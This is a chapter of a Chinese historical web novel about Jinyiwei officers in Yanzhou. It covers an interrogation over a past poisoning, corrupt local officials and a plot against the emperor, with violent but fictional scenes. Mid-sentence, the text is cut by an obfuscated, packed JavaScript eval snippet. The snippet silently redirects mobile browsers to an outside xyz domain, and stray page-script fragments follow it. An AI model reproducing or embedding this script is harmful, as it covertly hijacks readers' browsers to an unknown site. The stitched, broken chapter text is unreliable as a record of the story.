52. 死气沉沉
作品:《夜月清辉照鸿影》 “这些事都是齐儒寅干的,与我何干!”谭昭把穆同知控制起来的时候,他慌张大喊。
谭嘉韫手中的刀还在滴血,她没有说话。
谭昭一脚踹在穆同知的心窝,问他:“这可是你的前上峰亲口说的,你在彦州深耕多年,哪里清白?”
穆同知疼得整个人都蜷缩在地,他感觉痛得发晕,嘴里不忘喊着。
“他齐儒寅作恶多端,这是在拉我下水。我是朝廷命官,岂能因罪人几句话就给我定罪!”
“你和他有什么分别,不都是狗官?”
谭嘉韫烦躁地走过来,刀上的血滴在穆同知脸上。
他清楚地感知到这血液上残存的温度,浓郁的血腥黏稠得像一场噩梦。
“同知围观这么多年,不知道我们锦衣卫的规矩?谁允你辩驳的,我说你有罪便是有罪。”
一颗头颅咕噜噜滚到穆同知身旁,她的眼睛还没闭上。
谭嘉韫一脚踩在头颅上,逼穆同知和头颅对视。
她的眼神毫无温度,看头颅是死人,看穆同知亦是。
“现在,你清楚了么?”
穆同知觉得自己心跳都停止了,左护法,谭嘉韫竟然杀了左护法!
他眼前天旋地转,不争气地晕过去了。
谭嘉韫擦干血渍,问谭昭:“你不随我一并回京么?”
谭昭摇摇头:“那落娘子太诡异,好像活生生从京城消失,我再往南去,叫南边的城市也贴上通缉令。”
“离京时,我听菀姨说,京中有传闻,那落娘子是蓬莱的仙人。”
“那泰和伯口中的福地,岂不是蓬莱仙岛?”
“或许呢,那落娘子神出鬼没,我们这一路走来,可有听说谁见过她?”
谭昭笑笑摇头,他心中已然认为是寻不到人了。
那头罗槲叶始终不愿见彩云,她不声不响地去打听鲁嬷嬷的住处了。
落子研的药暂时封闭了她的五感,但是她直觉身后有人跟来。
此刻罗槲叶站在彦州的街道上,距离府衙已经拐过两个弯。
夜将至,临街的摊贩正在收拾东西回家。
她停下脚步,身后的脚步不停,反而加快朝她走来。
她突然转身扣住对方手腕,看清对方是谁时,有一瞬的无措。
“你怎么来了。”
常晔反手握着她的手,回道:“表姨说你喝了药正是虚弱的时候,我不放心跟上来瞧瞧。你要去哪?我可否能一同跟着去。”
“就你?到时候别又让我留下来救你。”
“小瞧我?那只能求阿圆再救我一次。”
常晔亲昵地在她身侧小声说,罗槲叶没忍住笑,解释道:“是鲁嬷嬷,我正打听她的住所。听说她病了,我不想看沈蘋仙的走狗安生度日。”
罗槲叶脚步有些许的停滞,她迟疑地问:“你是否会觉得我赶尽杀绝……”
“你出去打听打听你们锦衣卫的名声,赶尽杀绝?已经是茹毛饮血了。”
她被噎住,承认常晔的话。
彩云和鲁嬷嬷租住的宅子又小又偏,从街道绕过几重小巷,都要不知到了哪处街坊。
罗槲叶颠了颠手中的几枚铜板,问道:“阿婆,有个姑娘托我来照看她娘,但是这儿宅子又多又乱的,我实在找不着。不知阿婆可有见过一个姓鲁的婆子,大概从年前就一直在生病。”
“你说鲁家啊,她老娘病了是有些时候,本来是小女儿在照顾,这几天,好像确实没见到鲁家小妹。”
罗槲叶将铜板塞进阿婆手中:“是了,就是这户人家,她们住在哪?”
阿婆收下铜钱,给罗槲叶指了路:“就沿着这条巷子,到前面那个路口左转第一户就是了。”
“多谢了。”
罗槲叶看着面前的小屋,伸手敲门,屋里传来鲁嬷嬷的声音。
“咳咳咳,彩云你寻到大姑娘了么,怎的一去这么多日也没报个信回来。”
鲁嬷嬷打开门,看见门外的是罗槲叶和常晔,立马将门关上。
罗槲叶挡住将要关上的门,硬生生推开走了进去。
屋里一股浓郁的死气,混合着药味,难闻得很。
“你……你们……”
“怎么,鲁嬷嬷不想见到我?”
鲁嬷嬷扶着门,不是很想让他们进屋。
罗槲叶轻笑:“彩云可有同你说她去寻我了?羊入虎口,杀了我的人还敢来我面前,我恨不得叫她死在田栋面前。”
“彩云?田栋?”鲁嬷嬷心思转了几回,总算明白前段时间发生了什么。
鲁嬷嬷的气焰还没冒出,很快被恐惧盖过,她跪下来。
罗槲叶走进屋,常晔在外将门关上,将外面探究的目光隔绝在门后。
“大姑娘,奴婢和彩云之前多有得罪,都是沈夫人逼的啊!求大姑娘赎罪。彩云她……她一个小姑娘哪能杀人。”
罗槲叶蹲下,右手轻轻拍着鲁嬷嬷的脸颊。
“怎么,你是要质疑我?”
“奴婢不敢。”
“此事暂且不提,我想问你当初黎文慎毒杀我爹,可有你或是冯财的一份力?”
鲁嬷嬷怯怯地抬眼,和黎文贺有几分相似的脸怼在她面前,她上下牙不自主地打颤,脑中回想起黎文贺过世的时候。
鲁嬷嬷很快低下头,慌乱地只能听见自己剧烈的心跳。
“说啊,怎么不敢说话了。”
“大姑娘明察,和奴婢无关……这样的大事,老爷怎会告知我。有那么一次……老爷把一个什么药粉倒进先伯爷的水中,恰巧被奴婢瞧见了。当时老爷他好像发现了奴婢,奴婢捂着嘴不敢吱声,恰巧先伯爷身边有个小厮来刚领了饭回来撞见了这事……”
鲁嬷嬷咽下口水,屋中寂静无声,只有她的心跳声。
她看着地上的尘土,沙哑着说:“而后……那天夜里,这个小厮就不小心摔进湖里淹死,此事奴婢一直不敢说出口。”
她抬头祈求罗槲叶:“奴婢哪敢害主子,求姑娘高抬贵手,放奴婢和彩云一马……”
“哈哈哈哈哈。”罗槲叶好似听见什么可笑的话语,忍不住笑出了声。
“那你想再见到彩云么?”
罗槲叶对上鲁嬷嬷希冀的目光,无情地说:“可是她已经死了呢,被我挫骨扬灰,你再也见不到她。我怎么可能会叫你们好过,从我回彦州那一刻起,你们就都该知道的。”
鲁嬷嬷爬起身,尖叫着扑向罗槲叶:“彩云,还我的彩云。”
罗槲叶将她推开:“既然你说你什么都不知晓,那我就放过你好了。不过啊,你应当活不长久了,你们一家倒是马上能在下面重逢了。”
罗槲叶开门走出去,常晔原在街口同阿婆们说话,见罗槲叶出来,拱手与她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542852|182821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们道别。
常晔走过来,他看了眼屋内,问:“你要放过她?”
罗槲叶点头道:“屋中有药味,她现在靠药吊着命,彩云不在无人照料。屋内已有死气,观面相她印堂发黑,是活不长久的征兆。”
罗槲叶看向街口的阿婆,她们正在坐屋檐下闲话家常。
“你方才同她们正说些什么呢。”罗槲叶随口道。
“你可还记得新年时,阿娘和柏叔说起官税的事来?”
罗槲叶点点头,常晔继续道:“年前张家村的村民不满彦州衙门税务繁杂,一群人结伴上街抵抗,结果被穆同知尽数抓了进去。今早有村民没抗住刑法,在牢里咽气,眼下彦州百姓怨声载道的。”
临出门时似乎的确听说牢里死了人,而后谭嘉韫就将穆同知叫了去,她没太关心,原来是这样的事。
她只是叹了口气,无奈道:“这也是没得办法的事,遇上贪婪的父母官搜刮民脂民膏,百姓也只能把身家性命搭进去。”
“怎会没办法,我既在此,就不会眼睁睁看着彦州百姓一直这样水深火热。”
罗槲叶不知常晔要干什么,以她在底层生活的经验,手中无权就是人人欺凌的份。
她张了张口不想多言,回头又看了眼屋檐下闲聊的老太太们,衣袖上修修补补的补丁痕迹。
她说:“可你总有一天要离开的,地方衙门历来如此,不是只有彦州一处这样,也不是你在这一朝一夕就能改变的。”
“眼下我在这,得知了这些,那我就要去做。而不是去想着不论为何都改变不了其他地方,也改不了过去未来。人在当下岂能袖手旁观?”
常晔负手前行,巷子里愈发昏暗,他向着深处走去。
“去日不可追,来日犹可期。”
罗槲叶跟上前,只听得他缓缓说道。
拐过这个巷口,前方豁然开朗,是彦州城宽阔的街道。
“或许终有一日海晏河澄,亦有我一份力。”
“你是做惯了侯门公子、不事生产,大同世界终究只是个幻梦。”
常晔转身看她,此刻罗槲叶觉得自己离常晔太远。
就像彦州与京城的距离,少年郎的大志与真实的土地搁这万重山万重水,在红尘世界痛苦翻滚过的人并不能理解他的志存高远。
挣扎在温饱线的百姓想象不出理想化的世界,但这世界总要有人做出第一步。
“我的确是太不了解百姓生活,来彦州一趟才知晓以往所想皆为空中楼阁,但你信我一次,我们会看见齐国越来越好的。”
罗槲叶只是对这世界失望,并不是希望看见贵族欺压百姓,直至齐国倾覆。
她沉思了许久,还是走上前:“你说得对,趁我们还在这,得做点什么,至少要将彦州官府做了什么调查清楚。”
罗槲叶深深叹息:“至于要怎么处理,那是陛下和朝中大臣的事。”
罗槲叶知道,皇帝才不会管这些小事,只要不影响他禾熙帝萧峻明的醉生梦死,他哪管这些。
常晔听出来罗槲叶的言下之意。
皇帝靠高家武力夺权,上位后国中内忧外患多年,他还需高家保驾护航,如今起义军渐少,没了高家他也能享无边富贵,于是想叫高家覆灭。
萧峻明不曾警觉,暗处有人想叫他滚下皇位。
既然皇帝不管民生多艰,那就换个皇帝。